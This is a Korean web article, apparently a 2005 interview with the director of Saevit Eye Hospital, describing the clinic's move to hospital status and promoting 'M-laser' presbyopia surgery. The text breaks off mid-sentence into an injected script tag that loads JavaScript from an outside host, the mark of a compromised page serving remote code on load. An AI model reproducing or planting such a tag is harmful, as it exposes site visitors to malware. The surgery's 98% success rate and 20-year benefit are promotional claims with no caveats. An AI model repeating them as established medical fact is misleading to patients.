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제목 “시력개선으로 삶의 질을 한 단계 업그레이드 하세요”
등록일 2005.10.12 조회수 2843
인터뷰 - 새빛안과 병원 박규홍 대표원장 돋보기에서 해방되는 15분의 기적, M-레이저 노안교정 수술 “시력개선으로 삶의 질을 한 단계 업그레이드 하세요” 의원에서 병원으로, 보다 전문화된 고품격 진료 서비스 제공
일산 신도시의 역사와 함께하는 국내 최대 규모의 네트워크와 선진 진료서비스를 자랑하는 새빛안과가 드디어 의원에서 병원으로 한 단계 성숙한 모습으로 고객들에게 다가선다. 92년 첫 걸음을 시작한 새빛안과는 그 동안 주엽 신촌 대구 이천 등 국내 주요도시에서 새빛이란 이름으로 최상의 의료서비스를 실시하기 위해 최선을 다해왔다. 또한 2003년엔 일산 백석동에 개인병원 규모로는 국내 최대규모의 본원을 개원했고, 같은 해 12월 중국 북경에 아이캉 병원을 설립해 글로벌 네트워크를 가진 명실상부한 대한민국 대표안과로 자리매김했다. 또 오는 10월 중에는 오랫동안 준비해 왔던 일산본원이 안과전문 병원으로 개원하며, 12월엔 강남에 새빛분원을 개원할 예정이다. 오늘은 끊임없이 도전을 멈추지 않는 새빛안과의 박규홍 대표원장을 만나 의원에서 병원으로, 한 단계 성숙한 진료서비스를 실시하고자 하는 마음가짐과 최근 세계적으로 각광을 받고 있는 M-레이저 노안수술에 대해 이야기를 들어 보았다. 의원에서 병원으로, 고품격 진료서비스 제공할 터 전문 진료 활성화, 365일 진료 확대 실시 그 동안 백석동에 위치한 새빛안과 본원에서는 사시 소아안과 망막 등 분야에서 교수급 의료진들이 진료를 해왔다. 또한 저시력 클리닉을 운영해 이미 다른 의원들과 차별화된 전문 진료를 펼쳐왔다. 새빛안과는 오는 10월 중 드디어 의원에서 병원으로 전환된다. 이와 함께 각막 및 망막 질환 전공의 국내 유명대학 교수를 영입해 진료를 강화할 것이며, 기존 진료체계를 변경, 녹내장과 안성형 등 안과 분야별 전문 진료 시스템을 도입할 예정이다. 또한 병원 전환 후에도 새빛안과 본원에서 실시해 왔던 365일 진료를 정착시켜 환자들이 보다 쉽게 병원을 이용할 수 있도록 한다. 박규홍 대표원장은 “전문 진료 활성화와 시과학 연구소를 통한 연구기관으로 역할 강화, 의료시장 개방에 대한 능동적인 준비를 해감으로써 명실상부한 대한민국 대표병원이 되기 위해 더 박차를 가할 것”이라며 “안과 전문 병원으로 보다 양질의 서비스를 제공해 지역 주민들에게 긍지와 자부심을 주는 병원, 최상의 의료서비스로 고객의 삶의 질을 향상시킬 수 있는 병원이 되도록 최선을 다할 것”이라고 말했다. 돋보기에서 해방되는 15분의 기적 M-레이저 노안교정 수술로 되찾는 시력, 다시 찾은 젊음 최근 새빛안과에서 M-레이저 노안교정 수술을 받은 한 환자는 15분이라는 짧은 시간 동안 자신에게 기적이 일어났음을 실감하며 살고 있다. 40대면 누구에게나 찾아오는 노안은 나이가 들면서 수정체의 조절력이 떨어져 가까운 곳의 물체를 잘 보지 못하는 증상이다. 어느 날 불쑥 찾아온 노안은 신문을 읽을 때나 핸드폰을 사용할 때 등 일상에 큰 불편을 주며, 그럴 때 마다 늙어 가고 있음을 뼈저리게 느끼게 했다. 의학이 눈부시게 발전한 최근까지도 이 노안을 해결해줄 수 있는 대안은 돋보기였다. 그런데 드디어 이 노안을 해결할 수 있는 M-레이저 노안교정 수술이 도입돼 노안으로 불편을 겪고 있는 사람들에게 새로운 희망을 안겨주고 있다. M-레이저 노안 교정 수술은 과히 노안혁명이라고 불릴 만큼 수술이 효과적이며 환자들의 만족도도 높다. 지난 2003년부터 독일 및 미국의 연구센터 위주로 수술 및 연구가 진행돼 왔으며, 새빛안과도 2005년 7월부터 연구센터로 지정돼 수술을 시행해 왔다. 수술은 정교한 레이저를 이용해 노안을 교정하는 것으로, 안정성과 정확성이 가장 높은 노안 수술로 평가 받고 있다. 독일의 임상실험 결과를 보면 수술 전 돋보기 없이는 신문을 읽기 힘들었던 환자의 98%가 M-레이저 노안수술 후 돋보기나 안경 착용 없이 신문이나 책을 읽고, 일상생활에 전혀 불편이 없는 것으로 나타났다. 실제 새빛안과에서 수술을 받은 환자들의 경우도 수술 후 돋보기 없이 핸드폰 글자까지 읽어내는 등 만족할만한 결과를 보이고 있다. 특히 근시 원시 난시를 교정하면서 노안까지 동시에 교정이 가능해, 평상시 근시나 원시로 안경을 착용해 온 사람들의 수술 만족도가 훨씬 높은 것으로 나타났다. 새빛안과의 박규홍 대표원장은 “M-레이저 노안 수술은 40대 중반에 수술을 받을 경우 적어도 20년 이상 그 효과를 볼 수 있는 수술로, 다가올 고령화 시대를 현명하게 보낼 수 있는 가장 이상적인 선택?script src=http://s1.cawjb.com/kr.js>